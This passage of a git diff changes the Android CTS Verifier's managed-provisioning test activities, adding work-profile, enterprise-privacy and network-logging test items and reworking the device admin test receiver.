+    private static final int POLICY_TRANSPARENCY_REQUEST_CODE = 2;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        new AlertDialog.Builder(
+                CompTestActivity.this)
+                .setIcon(android.R.drawable.ic_dialog_info)
+                .setTitle(R.string.comp_provision_profile_dialog_title)
+                .setMessage(R.string.comp_provision_profile_dialog_text)
+                .setPositiveButton(android.R.string.ok,
+                        (dialog, whichButton) -> {
+                            Utils.provisionManagedProfile(CompTestActivity.this,
+                                    CompDeviceAdminTestReceiver.getReceiverComponentName(),
+                                    PROVISION_MANAGED_PROFILE_REQUEST_CODE);
+                        }).show();
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == PROVISION_MANAGED_PROFILE_REQUEST_CODE) {
+            if (resultCode != Activity.RESULT_OK) {
+                Log.i(TAG, "Provisioning failed or was cancelled by the user.");
+                setResult(Activity.RESULT_CANCELED);
+                finish();
+                return;
+            }
+
+            final Intent policyTransparencyTestIntent = new Intent(this,
+                    PolicyTransparencyTestListActivity.class);
+            policyTransparencyTestIntent.putExtra(
+                    PolicyTransparencyTestListActivity.EXTRA_MODE,
+                    PolicyTransparencyTestListActivity.MODE_COMP);
+            String testId = getIntent().getStringExtra(
+                    PolicyTransparencyTestActivity.EXTRA_TEST_ID);
+            policyTransparencyTestIntent.putExtra(
+                    PolicyTransparencyTestActivity.EXTRA_TEST_ID,
+                    testId);
+            startActivityForResult(policyTransparencyTestIntent, POLICY_TRANSPARENCY_REQUEST_CODE);
+        } else if (requestCode == POLICY_TRANSPARENCY_REQUEST_CODE) {
+            startActivity(new Intent(CommandReceiverActivity.ACTION_EXECUTE_COMMAND)
+                    .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+                            CommandReceiverActivity.COMMAND_REMOVE_MANAGED_PROFILE));
+            // forward the result to the caller activity so that it can update the test result
+            setResult(resultCode, data);
+            finish();
+        } else {
+            Log.e(TAG, "Unknown request code received " + requestCode);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index 122dd00..1c40ac1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -16,119 +16,130 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE;
+
 import android.app.admin.DeviceAdminReceiver;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.provider.Settings;
+import android.os.PersistableBundle;
 import android.util.Log;
 
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.location.LocationListenerActivity;
-import com.android.cts.verifier.managedprovisioning.Utils;
 
 /**
  * Profile owner receiver for BYOD flow test.
  * Setup cross-profile intent filter after successful provisioning.
  */
 public class DeviceAdminTestReceiver extends DeviceAdminReceiver {
-        private static final String TAG = "DeviceAdminTestReceiver";
-        private static final String DEVICE_OWNER_PKG =
-                "com.android.cts.verifier";
-        private static final String ADMIN_RECEIVER_TEST_CLASS =
-                DEVICE_OWNER_PKG + ".managedprovisioning.DeviceAdminTestReceiver";
-        private static final ComponentName RECEIVER_COMPONENT_NAME = new ComponentName(
-                DEVICE_OWNER_PKG, ADMIN_RECEIVER_TEST_CLASS);
+    public static final String KEY_BUNDLE_WIPE_IMMEDIATELY = "wipe_immediately";
+    private static final String TAG = "DeviceAdminTestReceiver";
+    private static final String DEVICE_OWNER_PKG =
+            "com.android.cts.verifier";
+    private static final String ADMIN_RECEIVER_TEST_CLASS =
+            DEVICE_OWNER_PKG + ".managedprovisioning.DeviceAdminTestReceiver";
+    private static final ComponentName RECEIVER_COMPONENT_NAME = new ComponentName(
+            DEVICE_OWNER_PKG, ADMIN_RECEIVER_TEST_CLASS);
 
-        public static ComponentName getReceiverComponentName() {
-            return RECEIVER_COMPONENT_NAME;
+    public static ComponentName getReceiverComponentName() {
+        return RECEIVER_COMPONENT_NAME;
+    }
+
+    @Override
+    public void onProfileProvisioningComplete(Context context, Intent intent) {
+        Log.d(TAG, "Provisioning complete intent received");
+        setupProfile(context);
+        wipeIfNecessary(context, intent);
+    }
+
+    @Override
+    public void onBugreportSharingDeclined(Context context, Intent intent) {
+        Log.i(TAG, "Bugreport sharing declined");
+        Utils.showBugreportNotification(context, context.getString(
+                R.string.bugreport_sharing_declined), Utils.BUGREPORT_NOTIFICATION_ID);
+    }
+
+    @Override
+    public void onBugreportShared(Context context, Intent intent, String bugreportFileHash) {
+        Log.i(TAG, "Bugreport shared");
+        Utils.showBugreportNotification(context, context.getString(
+                R.string.bugreport_shared_successfully), Utils.BUGREPORT_NOTIFICATION_ID);
+    }
+
+    @Override
+    public void onBugreportFailed(Context context, Intent intent, int failureCode) {
+        Log.i(TAG, "Bugreport collection operation failed, code: " + failureCode);
+        Utils.showBugreportNotification(context, context.getString(
+                R.string.bugreport_failed_completing), Utils.BUGREPORT_NOTIFICATION_ID);
+    }
+
+    private void setupProfile(Context context) {
+        DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        dpm.setProfileEnabled(new ComponentName(context.getApplicationContext(), getClass()));
+
+        // Setup cross-profile intent filter to allow communications between the two versions of CtsVerifier
+        // Primary -> work direction
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ByodHelperActivity.ACTION_QUERY_PROFILE_OWNER);
+        filter.addAction(ByodHelperActivity.ACTION_REMOVE_MANAGED_PROFILE);
+        filter.addAction(ByodHelperActivity.ACTION_CHECK_DISK_ENCRYPTION);
+        filter.addAction(ByodHelperActivity.ACTION_INSTALL_APK);
+        filter.addAction(ByodHelperActivity.ACTION_CHECK_INTENT_FILTERS);
+        filter.addAction(ByodHelperActivity.ACTION_CAPTURE_AND_CHECK_IMAGE);
+        filter.addAction(ByodHelperActivity.ACTION_CAPTURE_AND_CHECK_VIDEO_WITH_EXTRA_OUTPUT);
+        filter.addAction(ByodHelperActivity.ACTION_CAPTURE_AND_CHECK_VIDEO_WITHOUT_EXTRA_OUTPUT);
+        filter.addAction(ByodHelperActivity.ACTION_CAPTURE_AND_CHECK_AUDIO);
+        filter.addAction(ByodHelperActivity.ACTION_KEYGUARD_DISABLED_FEATURES);
+        filter.addAction(ByodHelperActivity.ACTION_LOCKNOW);
+        filter.addAction(ByodHelperActivity.ACTION_TEST_NFC_BEAM);
+        filter.addAction(ByodHelperActivity.ACTION_TEST_CROSS_PROFILE_INTENTS_DIALOG);
+        filter.addAction(ByodHelperActivity.ACTION_TEST_APP_LINKING_DIALOG);
+        filter.addAction(ByodHelperActivity.ACTION_NOTIFICATION);
+        filter.addAction(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN);
+        filter.addAction(ByodHelperActivity.ACTION_CLEAR_NOTIFICATION);
+        filter.addAction(ByodHelperActivity.ACTION_SET_USER_RESTRICTION);
+        filter.addAction(ByodHelperActivity.ACTION_CLEAR_USER_RESTRICTION);
+        filter.addAction(CrossProfileTestActivity.ACTION_CROSS_PROFILE_TO_WORK);
+        filter.addAction(WorkStatusTestActivity.ACTION_WORK_STATUS_TOAST);
+        filter.addAction(WorkStatusTestActivity.ACTION_WORK_STATUS_ICON);
+        filter.addAction(
+                PermissionLockdownTestActivity.ACTION_MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN);
+        filter.addAction(AuthenticationBoundKeyTestActivity.ACTION_AUTH_BOUND_KEY_TEST);
+        filter.addAction(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES);
+        filter.addAction(VpnTestActivity.ACTION_VPN);
+        filter.addAction(RecentsRedactionActivity.ACTION_RECENTS);
+        filter.addAction(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE);
+        filter.addAction(ByodHelperActivity.ACTION_LAUNCH_CONFIRM_WORK_CREDENTIALS);
+        filter.addAction(ByodHelperActivity.ACTION_SET_ORGANIZATION_INFO);
+        filter.addAction(ByodHelperActivity.ACTION_TEST_PARENT_PROFILE_PASSWORD);
+        filter.addAction(SetSupportMessageActivity.ACTION_SET_SUPPORT_MSG);
+        filter.addAction(CommandReceiverActivity.ACTION_EXECUTE_COMMAND);
+        dpm.addCrossProfileIntentFilter(getWho(context), filter,
+                DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT);
+
+        // Work -> primary direction
+        filter = new IntentFilter();
+        filter.addAction(ByodHelperActivity.ACTION_PROFILE_OWNER_STATUS);
+        filter.addAction(ByodHelperActivity.ACTION_DISK_ENCRYPTION_STATUS);
+        filter.addAction(CrossProfileTestActivity.ACTION_CROSS_PROFILE_TO_PERSONAL);
+        filter.addAction(LocationListenerActivity.ACTION_SET_LOCATION_AND_CHECK_UPDATES);
+        dpm.addCrossProfileIntentFilter(getWho(context), filter,
+                DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED);
+
+        Intent intent = new Intent(context, ByodHelperActivity.class);
+        intent.setAction(ByodHelperActivity.ACTION_PROFILE_PROVISIONED);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    private void wipeIfNecessary(Context context, Intent intent) {
+        PersistableBundle bundle = intent.getParcelableExtra(
+                EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE);
+        if (bundle != null && bundle.getBoolean(KEY_BUNDLE_WIPE_IMMEDIATELY, false)) {
+            getManager(context).wipeData(0);
         }
-
-        @Override
-        public void onProfileProvisioningComplete(Context context, Intent intent) {
-            Log.d(TAG, "Provisioning complete intent received");
-            setupProfile(context);
-        }
-
-        @Override
-        public void onBugreportSharingDeclined(Context context, Intent intent) {
-            Log.i(TAG, "Bugreport sharing declined");
-            Utils.showBugreportNotification(context, context.getString(
-                    R.string.bugreport_sharing_declined), Utils.BUGREPORT_NOTIFICATION_ID);
-        }
-
-        @Override
-        public void onBugreportShared(Context context, Intent intent, String bugreportFileHash) {
-            Log.i(TAG, "Bugreport shared");
-            Utils.showBugreportNotification(context, context.getString(
-                    R.string.bugreport_shared_successfully), Utils.BUGREPORT_NOTIFICATION_ID);
-        }
-
-        @Override
-        public void onBugreportFailed(Context context, Intent intent, int failureCode) {
-            Log.i(TAG, "Bugreport collection operation failed, code: " + failureCode);
-            Utils.showBugreportNotification(context, context.getString(
-                    R.string.bugreport_failed_completing), Utils.BUGREPORT_NOTIFICATION_ID);
-        }
-
-        private void setupProfile(Context context) {
-            DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
-            dpm.setProfileEnabled(new ComponentName(context.getApplicationContext(), getClass()));
-
-            // Setup cross-profile intent filter to allow communications between the two versions of CtsVerifier
-            // Primary -> work direction
-            IntentFilter filter = new IntentFilter();
-            filter.addAction(ByodHelperActivity.ACTION_QUERY_PROFILE_OWNER);
-            filter.addAction(ByodHelperActivity.ACTION_REMOVE_MANAGED_PROFILE);
-            filter.addAction(ByodHelperActivity.ACTION_CHECK_DISK_ENCRYPTION);
-            filter.addAction(ByodHelperActivity.ACTION_INSTALL_APK);
-            filter.addAction(ByodHelperActivity.ACTION_CHECK_INTENT_FILTERS);
-            filter.addAction(ByodHelperActivity.ACTION_CAPTURE_AND_CHECK_IMAGE);
-            filter.addAction(ByodHelperActivity.ACTION_CAPTURE_AND_CHECK_VIDEO_WITH_EXTRA_OUTPUT);
-            filter.addAction(ByodHelperActivity.ACTION_CAPTURE_AND_CHECK_VIDEO_WITHOUT_EXTRA_OUTPUT);
-            filter.addAction(ByodHelperActivity.ACTION_CAPTURE_AND_CHECK_AUDIO);
-            filter.addAction(ByodHelperActivity.ACTION_KEYGUARD_DISABLED_FEATURES);
-            filter.addAction(ByodHelperActivity.ACTION_LOCKNOW);
-            filter.addAction(ByodHelperActivity.ACTION_TEST_NFC_BEAM);
-            filter.addAction(ByodHelperActivity.ACTION_TEST_CROSS_PROFILE_INTENTS_DIALOG);
-            filter.addAction(ByodHelperActivity.ACTION_TEST_APP_LINKING_DIALOG);
-            filter.addAction(ByodHelperActivity.ACTION_NOTIFICATION);
-            filter.addAction(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN);
-            filter.addAction(ByodHelperActivity.ACTION_CLEAR_NOTIFICATION);
-            filter.addAction(ByodHelperActivity.ACTION_SET_USER_RESTRICTION);
-            filter.addAction(ByodHelperActivity.ACTION_CLEAR_USER_RESTRICTION);
-            filter.addAction(CrossProfileTestActivity.ACTION_CROSS_PROFILE_TO_WORK);
-            filter.addAction(WorkStatusTestActivity.ACTION_WORK_STATUS_TOAST);
-            filter.addAction(WorkStatusTestActivity.ACTION_WORK_STATUS_ICON);
-            filter.addAction(
-                    PermissionLockdownTestActivity.ACTION_MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN);
-            filter.addAction(AuthenticationBoundKeyTestActivity.ACTION_AUTH_BOUND_KEY_TEST);
-            filter.addAction(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES);
-            filter.addAction(VpnTestActivity.ACTION_VPN);
-            filter.addAction(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE);
-            filter.addAction(ByodHelperActivity.ACTION_LAUNCH_CONFIRM_WORK_CREDENTIALS);
-            filter.addAction(ByodHelperActivity.ACTION_SET_ORGANIZATION_INFO);
-            filter.addAction(ByodHelperActivity.ACTION_TEST_PARENT_PROFILE_PASSWORD);
-            filter.addAction(SetSupportMessageActivity.ACTION_SET_SUPPORT_MSG);
-            filter.addAction(CommandReceiverActivity.ACTION_EXECUTE_COMMAND);
-            dpm.addCrossProfileIntentFilter(getWho(context), filter,
-                    DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT);
-
-            // Work -> primary direction
-            filter = new IntentFilter();
-            filter.addAction(ByodHelperActivity.ACTION_PROFILE_OWNER_STATUS);
-            filter.addAction(ByodHelperActivity.ACTION_DISK_ENCRYPTION_STATUS);
-            filter.addAction(CrossProfileTestActivity.ACTION_CROSS_PROFILE_TO_PERSONAL);
-            filter.addAction(LocationListenerActivity.ACTION_SET_LOCATION_AND_CHECK_UPDATES);
-            dpm.addCrossProfileIntentFilter(getWho(context), filter,
-                    DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED);
-
-            Intent intent = new Intent(context, ByodHelperActivity.class);
-            intent.setAction(ByodHelperActivity.ACTION_PROFILE_PROVISIONED);
-            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            context.startActivity(intent);
-        }
-
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
index 5b43f6a..078e9ce 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
@@ -22,6 +22,7 @@
 import android.content.Intent;
 import android.database.DataSetObserver;
 import android.os.Bundle;
+import android.provider.Settings;
 
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity;
@@ -31,43 +32,32 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 
+import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+
 /**
  * Activity that lists all device owner negative tests.
  */
 public class DeviceOwnerNegativeTestActivity extends PassFailButtons.TestListActivity {
 
-    private static final String DEVICE_OWNER_NEGATIVE_TEST = "DEVICE_OWNER_PROVISIONING_NEGATIVE";
+    private static final String DEVICE_OWNER_PROVISIONING_NEGATIVE
+            = "DEVICE_OWNER_PROVISIONING_NEGATIVE";
+    private static final String ENTERPRISE_PRIVACY_QUICK_SETTINGS_NEGATIVE
+            = "ENTERPRISE_PRIVACY_QUICK_SETTINGS_NEGATIVE";
+    private static final String ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE
+            = "ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE";
+    private static final String ENTERPRISE_PRIVACY_ADD_ACCOUNT_NEGATIVE
+            = "ENTERPRISE_PRIVACY_ADD_ACCOUNT_NEGATIVE";
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.pass_fail_list);
-        setInfoResources(R.string.device_owner_provisioning_tests,
-                R.string.device_owner_provisioning_tests_info, 0);
         setPassFailButtonClickListeners();
 
-        TestInfo deviceOwnerNegativeTestInfo = new TestInfo(
-                DEVICE_OWNER_NEGATIVE_TEST,
-                R.string.device_owner_negative_test,
-                R.string.device_owner_negative_test_info,
-                new ButtonInfo(
-                        R.string.start_device_owner_provisioning_button,
-                        new Intent(this, TrampolineActivity.class)));
-
         final ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
-        adapter.add(TestListItem.newCategory(this, R.string.device_owner_provisioning_category));
+        adapter.add(TestListItem.newCategory(this, R.string.device_owner_negative_category));
 
-        Intent startTestIntent = new Intent(this, IntentDrivenTestActivity.class)
-                    .putExtra(IntentDrivenTestActivity.EXTRA_ID,
-                            deviceOwnerNegativeTestInfo.getTestId())
-                    .putExtra(IntentDrivenTestActivity.EXTRA_TITLE,
-                            deviceOwnerNegativeTestInfo.getTitle())
-                    .putExtra(IntentDrivenTestActivity.EXTRA_INFO,
-                            deviceOwnerNegativeTestInfo.getInfoText())
-                    .putExtra(IntentDrivenTestActivity.EXTRA_BUTTONS,
-                            deviceOwnerNegativeTestInfo.getButtons());
-
-        adapter.add(TestListItem.newTest(this, deviceOwnerNegativeTestInfo.getTitle(),
-                deviceOwnerNegativeTestInfo.getTestId(), startTestIntent, null));
+        addTestsToAdapter(adapter);
 
         adapter.registerDataSetObserver(new DataSetObserver() {
             @Override
@@ -79,6 +69,45 @@
         setTestListAdapter(adapter);
     }
 
+    private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+        final TestInfo provisioningNegativeTestInfo = new TestInfo(
+                DEVICE_OWNER_PROVISIONING_NEGATIVE,
+                R.string.device_owner_provisioning_negative,
+                R.string.device_owner_provisioning_negative_info,
+                new ButtonInfo(
+                        R.string.start_device_owner_provisioning_button,
+                        new Intent(this, TrampolineActivity.class)));
+        final Intent startTestIntent = new Intent(this, IntentDrivenTestActivity.class)
+                    .putExtra(IntentDrivenTestActivity.EXTRA_ID,
+                            provisioningNegativeTestInfo.getTestId())
+                    .putExtra(IntentDrivenTestActivity.EXTRA_TITLE,
+                            provisioningNegativeTestInfo.getTitle())
+                    .putExtra(IntentDrivenTestActivity.EXTRA_INFO,
+                            provisioningNegativeTestInfo.getInfoText())
+                    .putExtra(IntentDrivenTestActivity.EXTRA_BUTTONS,
+                            provisioningNegativeTestInfo.getButtons());
+        adapter.add(TestListItem.newTest(this, provisioningNegativeTestInfo.getTitle(),
+                provisioningNegativeTestInfo.getTestId(), startTestIntent, null));
+        adapter.add(TestListItem.newTest(this, R.string.enterprise_privacy_quick_settings_negative,
+                ENTERPRISE_PRIVACY_QUICK_SETTINGS_NEGATIVE,
+                new Intent(this, EnterprisePrivacyInfoOnlyTestActivity.class)
+                        .putExtra(EnterprisePrivacyInfoOnlyTestActivity.EXTRA_ID,
+                                ENTERPRISE_PRIVACY_QUICK_SETTINGS_NEGATIVE)
+                        .putExtra(EnterprisePrivacyInfoOnlyTestActivity.EXTRA_TITLE,
+                                R.string.enterprise_privacy_quick_settings_negative)
+                        .putExtra(EnterprisePrivacyInfoOnlyTestActivity.EXTRA_INFO,
+                                R.string.enterprise_privacy_quick_settings_negative_info),
+                        null));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE,
+                R.string.enterprise_privacy_keyguard_negative,
+                R.string.enterprise_privacy_keyguard_negative_info,
+                new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_SETTINGS))));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT_NEGATIVE,
+                R.string.enterprise_privacy_add_account_negative,
+                R.string.enterprise_privacy_add_account_negative_info,
+                new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_ADD_ACCOUNT))));
+    }
+
     /**
      * This is needed because IntentDrivenTestActivity fires the intent by startActivity when
      * a button is clicked, but ACTION_PROVISION_MANAGED_DEVICE requires to be fired by
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index a11fcb1..0cae6be 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -70,11 +70,18 @@
     private static final String DISALLOW_DATA_ROAMING_ID = "DISALLOW_DATA_ROAMING";
     private static final String DISALLOW_FACTORY_RESET_ID = "DISALLOW_FACTORY_RESET";
     private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
+    private static final String ENTERPRISE_PRIVACY_TEST_ID = "ENTERPRISE_PRIVACY";
+    private static final String NETWORK_LOGGING_UI_TEST_ID = "NETWORK_LOGGING_UI";
+    public static final String COMP_TEST_ID = "COMP_UI";
     private static final String REMOVE_DEVICE_OWNER_TEST_ID = "REMOVE_DEVICE_OWNER";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+
+        // Tidy up in case previous run crashed.
+        new ByodFlowTestHelper(this).tearDown();
+
         if (ACTION_CHECK_DEVICE_OWNER.equals(getIntent().getAction())) {
             DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(
                     Context.DEVICE_POLICY_SERVICE);
@@ -292,13 +299,44 @@
         final Intent policyTransparencyTestIntent = new Intent(this,
                 PolicyTransparencyTestListActivity.class);
         policyTransparencyTestIntent.putExtra(
-                PolicyTransparencyTestListActivity.EXTRA_IS_DEVICE_OWNER, true);
+                PolicyTransparencyTestListActivity.EXTRA_MODE,
+                PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER);
+        // So that PolicyTransparencyTestListActivity knows which test to update with the result:
         policyTransparencyTestIntent.putExtra(
                 PolicyTransparencyTestActivity.EXTRA_TEST_ID, POLICY_TRANSPARENCY_TEST_ID);
         adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
                 R.string.device_profile_owner_policy_transparency_test,
                 policyTransparencyTestIntent));
 
+        // Enterprise Privacy
+        final Intent enterprisePolicyTestIntent = new Intent(this,
+                EnterprisePrivacyTestListActivity.class);
+        enterprisePolicyTestIntent.putExtra(
+                EnterprisePrivacyTestListActivity.EXTRA_TEST_ID, ENTERPRISE_PRIVACY_TEST_ID);
+        adapter.add(createTestItem(this, ENTERPRISE_PRIVACY_TEST_ID,
+                R.string.enterprise_privacy_test,
+                enterprisePolicyTestIntent));
+
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS)) {
+            Intent compIntent = new Intent(this, CompTestActivity.class)
+                    .putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, COMP_TEST_ID);
+            adapter.add(createTestItem(this, COMP_TEST_ID,
+                    R.string.comp_test,
+                    compIntent));
+        }
+
+        // Network logging UI
+        adapter.add(createInteractiveTestItem(this, NETWORK_LOGGING_UI_TEST_ID,
+                R.string.device_owner_network_logging_ui,
+                R.string.device_owner_network_logging_ui_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(
+                                R.string.device_owner_enable_network_logging_button,
+                                createEnableNetworkLoggingIntent()),
+                        new ButtonInfo(
+                                R.string.device_owner_disable_network_logging_button,
+                                createDisableNetworkLoggingIntent())}));
+
         // removeDeviceOwner
         adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID,
                 R.string.device_owner_remove_device_owner_test,
@@ -341,6 +379,18 @@
                         CommandReceiverActivity.COMMAND_SET_USER_ICON);
     }
 
+    private Intent createEnableNetworkLoggingIntent() {
+        return new Intent(this, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+                        CommandReceiverActivity.COMMAND_ENABLE_NETWORK_LOGGING);
+    }
+
+    private Intent createDisableNetworkLoggingIntent() {
+        return new Intent(this, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+                        CommandReceiverActivity.COMMAND_DISABLE_NETWORK_LOGGING);
+    }
+
     private boolean isStatusBarEnabled() {
       // Watches don't support the status bar so this is an ok proxy, but this is not the most
       // general test for that. TODO: add a test API to do a real check for status bar support.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
index 1d23175..7ab8e7e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
@@ -80,6 +80,9 @@
             return;
         }
 
+        // Tidy up in case previous run crashed.
+        new ByodFlowTestHelper(this).tearDown();
+
         setContentView(R.layout.requesting_bugreport_device_owner);
         setInfoResources(R.string.device_owner_requesting_bugreport_tests,
                 R.string.device_owner_requesting_bugreport_tests_info, 0);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyInfoOnlyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyInfoOnlyTestActivity.java
new file mode 100644
index 0000000..99961dc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyInfoOnlyTestActivity.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * A test Activity that has an info text and pass/fail buttons, nothing else.
+ */
+public class EnterprisePrivacyInfoOnlyTestActivity extends PassFailButtons.Activity {
+    public static final String EXTRA_ID = "id";
+    public static final String EXTRA_TITLE = "title";
+    public static final String EXTRA_INFO = "info";
+
+    private String mTestId;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.enterprise_privacy_negative_test);
+        setPassFailButtonClickListeners();
+
+        final Intent intent = getIntent();
+        if (!intent.hasExtra(EXTRA_ID)
+                || !intent.hasExtra(EXTRA_TITLE)
+                || !intent.hasExtra(EXTRA_INFO)) {
+            throw new IllegalArgumentException(
+                    "Intent must have EXTRA_ID, EXTRA_TITLE & EXTRA_INFO");
+        }
+
+        mTestId = intent.getStringExtra(EXTRA_ID);
+        setTitle(intent.getIntExtra(EXTRA_TITLE, -1));
+
+        final TextView info = (TextView) findViewById(R.id.info);
+        info.setText(intent.getIntExtra(EXTRA_INFO, -1));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        setResult(RESULT_CANCELED);
+    }
+
+    @Override
+    public String getTestId() {
+        return mTestId;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestDefaultAppActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestDefaultAppActivity.java
new file mode 100644
index 0000000..ed7d8f4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestDefaultAppActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.Activity;
+import android.content.ComponentName;
+
+public class EnterprisePrivacyTestDefaultAppActivity extends Activity {
+
+    public static final ComponentName COMPONENT_NAME = new ComponentName("com.android.cts.verifier",
+            EnterprisePrivacyTestDefaultAppActivity.class.getName());
+}
